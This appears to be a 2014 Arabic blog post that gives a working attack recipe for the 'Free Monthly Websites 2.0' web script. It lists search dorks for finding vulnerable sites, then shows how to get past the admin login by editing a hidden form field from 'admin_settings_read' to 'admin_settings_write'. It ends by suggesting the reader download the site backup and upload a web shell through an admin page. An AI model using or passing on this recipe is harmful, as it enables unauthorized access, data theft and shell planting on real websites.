لا تنسو صلاتكم ان الصلات كانت على الموؤمنين كتابا موقوتا

الثلاثاء، 28 يناير 2014

لثغرة السكريبت المصاب هو Free Monthly w e bsites 2.0

الثلاثاء, يناير 28, 2014 samir لا يوجد تعليقات

السلام عليكم و رحمة الله

، أقدم لكم هاته الثغرة

السكريبت المصاب هو Free Monthly w e bsites 2.0
الدورك
كود:
inurl:/index_ebay.php
كود:
"Powered by: Resell Rights Fortune"
كود:
Powered By: Free Monthly w e bsites 2.0

ندخل للوحة www.target/admin/index.php

نقوم بعمل Inspect Element او Examiner l'element

ثم نغير
كود:
<input type="hidden" name="do_type" value="admin_settings_read">
الى
كود:
<input type="text" name="do_type" value="admin_settings_write">
ثم نظغط login

ثم نظغط login
تخبرنا بإدخال user و password المهم نظغط login

تم الدخول للوحة التحكم بنجاح

يمكنكم سحب backup للموقع

لرفع الشيل ندخل هذا بعد الموقع/admin/add_main_pages.php

تحياتي

تصنيف :